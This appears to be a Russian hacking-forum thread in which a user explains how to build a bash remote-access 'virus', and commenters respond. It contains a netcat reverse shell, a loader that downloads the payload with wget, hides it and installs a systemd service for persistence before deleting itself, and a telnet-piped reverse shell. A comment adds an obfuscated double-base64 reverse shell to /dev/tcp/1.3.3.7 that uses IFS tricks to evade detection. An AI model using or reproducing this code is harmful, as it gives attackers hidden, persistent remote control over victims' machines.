• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Написание программы для удалённого доступа на bash. Попытка первая.

dieZel

Green Team
08.04.2018
227
597
BIT
0
Всем читающим привет, сегодня хотелось бы поговорить о вирусах на Bash. Начнём с элементарного.

Статья написана в целях ознакомления и не призывает к действию!

bin-bash.jpg


Одним из самых основных инструментов сетевого взаимодействия в Linux является netcat и с помощью него можно создать простейший вирус, буквально в одну строку.
Эта команда дарует вам шелл на хост жертвы.

Bash:
nc -nv 192.168.0.178 4444 -e /bin/bash

Но сейчас это уже не работает, т.к. вряд ли безопасно выполнять команды принятые по незащищённому соединению и это понимают все. Поэтому сейчас почти ни в одном линуксе не будет работать опция -e.

Теперь перейдём к более интересным вещам, а именно созданию более-менее полноценного реверс-шелла. Где-то с костылями, где-то со странными решениями, но для меня это скорее исследовательская работа. :)

Для начала на нашу тестовую мшину нужно установить netcat.

Bash:
sudo apt install netcat

Теперь выполним команду

Bash:
nc -l <port> | /bin/bash

Теперь всё, что придёт на выбранный порт будет передано в bash и исполнено. Поскольку сейчас у меня есть доступ к обеим машинам я могу увидеть, что команды не исполняются, кроме того, ответ не отправляется на атакующий хост. Причина здесь в том, что команда даже если выполнится, выполнится локально и никуда ничего не отправит, но с этим мы разберёмся позже. Для начала решим проблему невыполнения команд. В терминале жертвы видим ошибку, рассказывающую нам о том, что она не знает, что такое $/lsr/
Я думал всё решится обрезкой лишних символов посредству cut или sed, но было решено резко сменить вектор разработки и разделить наш вирус на несколько файлов. Первый будет загрузчик, разумеется)

Загрузчик должен загружать, верно? Да! Погнали. Файлики самого вируса будем получать через wget с заранее созданного дедика на Я.Клауде. Я поставлю там nginx и просто кину вирус в директорию сайта. Возможно потом я разберусь с js и сделаю загрузку вируса при заходе на сайт. Но это потом. На сервере пока лежит файл-затычка, который мы будем скачивать, а сейчас создаём лоадер.

Вся задача лоадера заключается в менее чем десяти строчках

Bash:
#!/bin/bash
wget <ip>/.virus.service
wget <ip>/.virus.sh
sudo chmod +x .virus.sh
mkdir /usr/share/doc/.virus
sudo mv .virus.sh /usr/share/doc/.virus/.virus.sh
sudo mv .virus.service /lib/systemd/system/virus.service
sudo systemctl enable virus.service && sudo systemctl start virus.service
sudo rm loader.sh

Построчно объясняю:
  1. Указываем исполнителя;
  2. Скачиваем файл демона;
  3. Скачиваем скрипт;
  4. Даём скрипту права выполнения;
  5. Создаём скрытую папку для скрипта вируса;
  6. Перемещаем сам вирус в его папку;
  7. Перемещаем демона в папку;
  8. Включаем автозапуск и запускаем вирус;
  9. Удаляем лоадер, он больше не нужен.

В файле демона также ничего сложного, простейший юнит:

Код:
[Unit]
Description=It’s malware daemon
After=multi-user.target
[Service]
Type=idle
ExecStart=/usr/share/doc/.virus/.virus.sh
[Install]
WantedBy=multi-user.target

Построчно:
  1. Объявление секции “Юнит”;
  2. Описание;
  3. Указание очереди запуска;
  4. Объявление секции “Сервис”;
  5. Определение типа – ожидающий;
  6. Файл скрипта;
  7. Объяление секции “Установки”;
  8. Указание очереди и приоритета запуска.

А теперь к самому интересному – самому шеллу. Сейчас такое нагромождение выглядит нелепо, но если статья зайдёт, я буду дорабатывать этот вирус и все эти нагромождения станут основой для будущей модернизации, тем самым я глубже погружу вас и себя в мир Bash скриптов, вирусного ПО и вирусных Bash-скриптов.
Спустя пару вечеров, проведённых в мучениях netcat’а, я наконец решился взглянуть в другую сторону и увидел там telnet, который дал мне шелл с третьей попытки. Вот листинг:

Bash:
#!/bin/bash
telnet <адрес атакующего> <порт> | /bin/bash | telnet <адрес атакующего> <другой порт>

Всё, что здесь есть, это указание исполнителя и пайплайн, в котором telnet принимает команду на одном порту, выполняет её и отправляет вывод на другой порт. Конечно, это обязывает держать две слушающих сессии netcat одновременно, но это не так уж и костыльно, мне кажется.

Получилось немного, но работа, поверьте, была проделана немалая.
Надеюсь вам понравилось и на этом с вами прощаюсь.
 
Последнее редактирование модератором:

Exited3n

Red Team
10.05.2022
677
215
BIT
419
Тоже понравилось, плюсанул. Добавлю только для новичков, т.к. здесь используем systemd, прописываем unit и все такое. То данная конструкция не будет работать со всяким старьем использующим Init :)
 
  • Нравится
Реакции: Deanned и dieZel

Polyglot

Green Team
25.02.2020
41
57
BIT
117
Спасибо, интересная статья своей оригинальностью, на фоне конвейера переписанных туториалов с интернета "как сканировать порты на Питоне в цикле с socket..."
 
  • Нравится
Реакции: dieZel

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 187
BIT
0
Код:
echo "echo $(echo 'bash -i >& /dev/tcp/1.3.3.7/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'

не мучайся Бро)
 

dieZel

Green Team
08.04.2018
227
597
BIT
0
Всем огромное спасибо. Очень приятно видеть столько хороших отзывов, постараюсь на выходных выложить вторую часть. @Ondrik8 отдельное спасибо. Добавлю эту команду в следующую статью
 
  • Нравится
Реакции: Strife
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!